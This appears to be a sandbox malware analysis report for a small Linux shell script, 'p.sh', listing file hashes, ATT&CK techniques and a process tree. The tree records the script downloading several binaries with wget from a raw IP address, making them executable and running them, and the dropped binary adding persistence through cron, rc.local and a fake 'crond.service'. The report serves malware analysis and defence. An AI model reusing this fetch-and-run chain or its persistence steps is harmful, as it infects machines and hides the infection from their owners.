db65e6893ed2c3faa4576a7e61e06df23a3da843405f1e960ddc3eeabae9962b

Analysis

max time kernel
149s
max time network
142s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/08/2026, 08:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
p.sh
Size 839B
Sample260802-kaxexsfl6x
SHA256 db65e6893ed2c3faa4576a7e61e06df23a3da843405f1e960ddc3eeabae9962b
MD5 39c2d430541bd5aef474b96b10978509
SHA1 76a97e9883840d0aa9c4a4044aa985fac6e52035
SHA512 0762b7aa39a87e8ef01306ecfe4237929738596eb9d91d243ee9d40ce256e9214bcd59eca200b0ee9152155748d6cc6c65f53bf556933c705845d5953d58e5dc
TLSH
T14F01E6CAD2509910406DC86D6AE612A4B431C3C7058B0F78BFDCD52CBB8CE08F16AE88
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
776	chmod
803	chmod
810	chmod
828	chmod
832	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/EyMl	780	p.sh

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/crond	EyMl
File opened for modification	/etc/crontab	EyMl

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	EyMl

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/crond.service	EyMl

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	EyMl

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/594/exe	EyMl
File opened for reading	/proc/788/exe	EyMl
File opened for reading	/proc/863/exe	EyMl
File opened for reading	/proc/572/cmdline	EyMl
File opened for reading	/proc/819/exe	EyMl
File opened for reading	/proc/meminfo	EyMl
File opened for reading	/proc/904/exe	EyMl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/43/cmdline	EyMl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/276/cmdline	EyMl
File opened for reading	/proc/647/cmdline	EyMl
File opened for reading	/proc/830/cmdline	EyMl
File opened for reading	/proc/841/exe	EyMl
File opened for reading	/proc/875/exe	EyMl
File opened for reading	/proc/892/cmdline	EyMl
File opened for reading	/proc/165/cmdline	EyMl
File opened for reading	/proc/836/exe	EyMl
File opened for reading	/proc/857/cmdline	EyMl
File opened for reading	/proc/154/exe	EyMl
File opened for reading	/proc/112/cmdline	EyMl
File opened for reading	/proc/804/cmdline	EyMl
File opened for reading	/proc/830/exe	EyMl
File opened for reading	/proc/835/cmdline	EyMl
File opened for reading	/proc/849/exe	EyMl
File opened for reading	/proc/906/exe	EyMl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/16/cmdline	EyMl
File opened for reading	/proc/41/cmdline	EyMl
File opened for reading	/proc/42/cmdline	EyMl
File opened for reading	/proc/807/exe	EyMl
File opened for reading	/proc/902/cmdline	EyMl
File opened for reading	/proc/825/cmdline	EyMl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/26/cmdline	EyMl
File opened for reading	/proc/844/cmdline	EyMl
File opened for reading	/proc/890/exe	EyMl
File opened for reading	/proc/838/exe	EyMl
File opened for reading	/proc/329/exe	EyMl
File opened for reading	/proc/20/cmdline	EyMl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/650/cmdline	EyMl
File opened for reading	/proc/788/cmdline	EyMl
File opened for reading	/proc/854/cmdline	EyMl
File opened for reading	/proc/806/cmdline	EyMl
File opened for reading	/proc/823/cmdline	EyMl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/853/cmdline	EyMl
File opened for reading	/proc/900/cmdline	EyMl
File opened for reading	/proc/640/exe	EyMl
File opened for reading	/proc/279/cmdline	EyMl
File opened for reading	/proc/859/cmdline	EyMl
File opened for reading	/proc/873/exe	EyMl
File opened for reading	/proc/888/exe	EyMl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/778/exe	EyMl
File opened for reading	/proc/221/cmdline	EyMl
File opened for reading	/proc/587/cmdline	EyMl
File opened for reading	/proc/595/cmdline	EyMl

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/p	p.sh
File opened for modification	/tmp/EyMl	wget

/tmp/p.sh
/tmp/p.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:650
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:652
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:657
- /bin/ls
  ls -l /proc/104/exe
  2⤵
  PID:662
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  PID:666
- /bin/ls
  ls -l /proc/112/exe
  2⤵
  PID:672
- /bin/ls
  ls -l /proc/114/exe
  2⤵
  - Reads runtime system information
  PID:675
- /bin/ls
  ls -l /proc/115/exe
  2⤵
  PID:678
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  PID:680
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  PID:683
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:684
- /bin/ls
  ls -l /proc/142/exe
  2⤵
  PID:686
- /bin/ls
  ls -l /proc/143/exe
  2⤵
  PID:687
- /bin/ls
  ls -l /proc/146/exe
  2⤵
  - Reads runtime system information
  PID:688
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:689
- /bin/ls
  ls -l /proc/154/exe
  2⤵
  PID:691
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:692
- /bin/ls
  ls -l /proc/165/exe
  2⤵
  - Reads runtime system information
  PID:693
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:694
- /bin/ls
  ls -l /proc/176/exe
  2⤵
  PID:695
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:696
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:697
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:699
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:700
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:701
- /bin/ls
  ls -l /proc/221/exe
  2⤵
  PID:702
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:703
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  PID:704
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:705
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:706
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  PID:707
- /bin/ls
  ls -l /proc/276/exe
  2⤵
  PID:708
- /bin/ls
  ls -l /proc/279/exe
  2⤵
  - Reads runtime system information
  PID:709
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  PID:710
- /bin/ls
  ls -l /proc/283/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/286/exe
  2⤵
  PID:712
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  PID:713
- /bin/ls
  ls -l /proc/292/exe
  2⤵
  PID:714
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:715
- /bin/ls
  ls -l /proc/309/exe
  2⤵
  PID:716
- /bin/ls
  ls -l /proc/314/exe
  2⤵
  PID:717
- /bin/ls
  ls -l /proc/318/exe
  2⤵
  PID:718
- /bin/ls
  ls -l /proc/326/exe
  2⤵
  PID:719
- /bin/ls
  ls -l /proc/329/exe
  2⤵
  PID:720
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:721
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  - Reads runtime system information
  PID:722
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  PID:723
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  PID:724
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:725
- /bin/ls
  ls -l /proc/572/exe
  2⤵
  PID:726
- /bin/ls
  ls -l /proc/585/exe
  2⤵
  PID:727
- /bin/ls
  ls -l /proc/587/exe
  2⤵
  PID:728
- /bin/ls
  ls -l /proc/594/exe
  2⤵
  PID:729
- /bin/ls
  ls -l /proc/595/exe
  2⤵
  PID:732
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:734
- /bin/ls
  ls -l /proc/635/exe
  2⤵
  PID:736
- /bin/ls
  ls -l /proc/640/exe
  2⤵
  PID:738
- /bin/ls
  ls -l /proc/643/exe
  2⤵
  PID:740
- /bin/ls
  ls -l /proc/645/exe
  2⤵
  PID:742
- /bin/ls
  ls -l /proc/647/exe
  2⤵
  - Reads runtime system information
  PID:744
- /bin/ls
  ls -l /proc/648/exe
  2⤵
  PID:746
- /bin/ls
  ls -l /proc/649/exe
  2⤵
  PID:748
- /bin/ls
  ls -l /proc/650/exe
  2⤵
  - Reads runtime system information
  PID:751
- /bin/ls
  ls -l /proc/651/exe
  2⤵
  PID:753
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:755
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:757
- /bin/ls
  ls -l /proc/83/exe
  2⤵
  PID:759
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:761
- /bin/rm
  rm -rf EyMl
  2⤵
  PID:763
- /usr/bin/wget
  wget http://129.121.110.105/EyMl
  2⤵
  - Writes file to tmp directory
  PID:765
- /bin/chmod
  chmod 777 EyMl
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/EyMl
  ./EyMl pdvr
  2⤵
  - Creates/modifies Cron job
  - Modifies rc script
  - Modifies systemd
  - Checks CPU configuration
  - Reads runtime system information
  PID:780
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:800
- - /usr/local/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:801
- - /usr/local/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:801
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:800
- - /usr/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:801
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:800
- - /usr/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:801
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:800
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:800
- - /sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:801
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    PID:800
- - /bin/systemctl
    systemctl enable crond.service
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:801
- /bin/rm
  rm -rf TCIi
  2⤵
  PID:787
- /usr/bin/wget
  wget http://129.121.110.105/TCIi
  2⤵
  PID:799
- /bin/chmod
  chmod 777 TCIi
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/TCIi
  ./TCIi pdvr
  2⤵
  PID:805
- /bin/rm
  rm -rf DQ0
  2⤵
  PID:806
- /usr/bin/wget
  wget http://129.121.110.105/DQ0
  2⤵
  PID:807
- /bin/chmod
  chmod 777 DQ0
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/DQ0
  ./DQ0 pdvr
  2⤵
  PID:818
- /bin/rm
  rm -rf mYH
  2⤵
  PID:820
- /usr/bin/wget
  wget http://129.121.110.105/mYH
  2⤵
  PID:825
- /bin/chmod
  chmod 777 mYH
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/mYH
  ./mYH pdvr
  2⤵
  PID:829
- /bin/rm
  rm -rf 9YZ5
  2⤵
  PID:830
- /usr/bin/wget
  wget http://129.121.110.105/9YZ5
  2⤵
  PID:831
- /bin/chmod
  chmod 777 9YZ5
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/9YZ5
  ./9YZ5 pdvr
  2⤵
  PID:833
- /bin/rm
  rm -rf p
  2⤵
  PID:834

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

crond

Path /etc/cron.d/crond
Size 31B
SHA256 c799ad11d5d1bd0500c9301d8547125cf437da0bf1dcf01ed3ea05cf959c1431
MD5 c4e8d5f207d41afd74291a94de911975
SHA1 d7c4c06f9a93bdd653dbed286465a604f10849f7
SHA512 fd301ca6a00818741b3014c022b35a6621583b5516abd8c582e7a4ab43adf3b3dfc09aae8af55e546a8bec2f560028909e789dfdccc20fb25f8e5e0695cfbb13
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 35B
SHA256 62b26c30989ab90d048f46113f98baeee4f1884294dbe40c0a096ab843e7ea91
MD5 8d5cacaff99f4e4d136f4eccfe22a90d
SHA1 e8d93d42a3afbacf8523af543aeaccba6b00babd
SHA512 187392423d149bc19af84c646f6d827e3bb1617cc4e9516f3c525371120d895f999e90257811f43e330ef5a24de7e6a7a61651424e06c7246603f65473894447
MD5 SHA1 SHA512

Submit Download

crond.service

Path /etc/systemd/system/crond.service
Size 194B
SHA256 1b0a66531bda7c0ac22d7097d1c5bceed08b28075023df9a874dea713fad5e8c
MD5 505af6c2e8b8f412eb7dfc90c209651d
SHA1 59ebafdb4bca1c80b54f63d36c101ce10b8ca6a3
SHA512 3a2ae8b914aacf7b0e559af3318ce9b5d695aa8da35f68386b25a5b5e8f024dbd37f268c1ccf42a69e5f0f471f22b916345d0886be6e61bfba32769f9b971a73
TLSH
T1AFC0222394A114A4894F39A2EEE32B448CA102000ACF92B00BC518292DE20E71621DAE
MD5 SHA1 SHA512 TLSH

Submit Download

EyMl

Path /tmp/EyMl
Size 69KB
SHA256 3dcff7e3ded3bf19981d30151dcaf48915e545d569eb97483d70aec1b7db70cc
MD5 d0bc1c7b9c20e9d7fd03c76c184b4a07
SHA1 f7ff0c4b0402f715d6dc0e25a9ec4a14a3ca3356
SHA512 f076af20e30484c836be8a27545831c05a88f28413cfa34d97e77beeda2e81375223d26de7244b0cecf07af404bbcc7fc1ebf14492797a5d63ec3d504b02d4b2
SSDEEP 1536:qUfzxROOxFIrq+ROyi0hM0/WYkQ5mNT9SNZcQGFEEbBX9n:qUfzx0OxCVZh1/WHQSTQHLGFEEbB
TLSH
T131630855B8939F1AC6D21677FF1E434D332623A8D3EA7213DA056F6633CF42A0E2A541
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/p
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads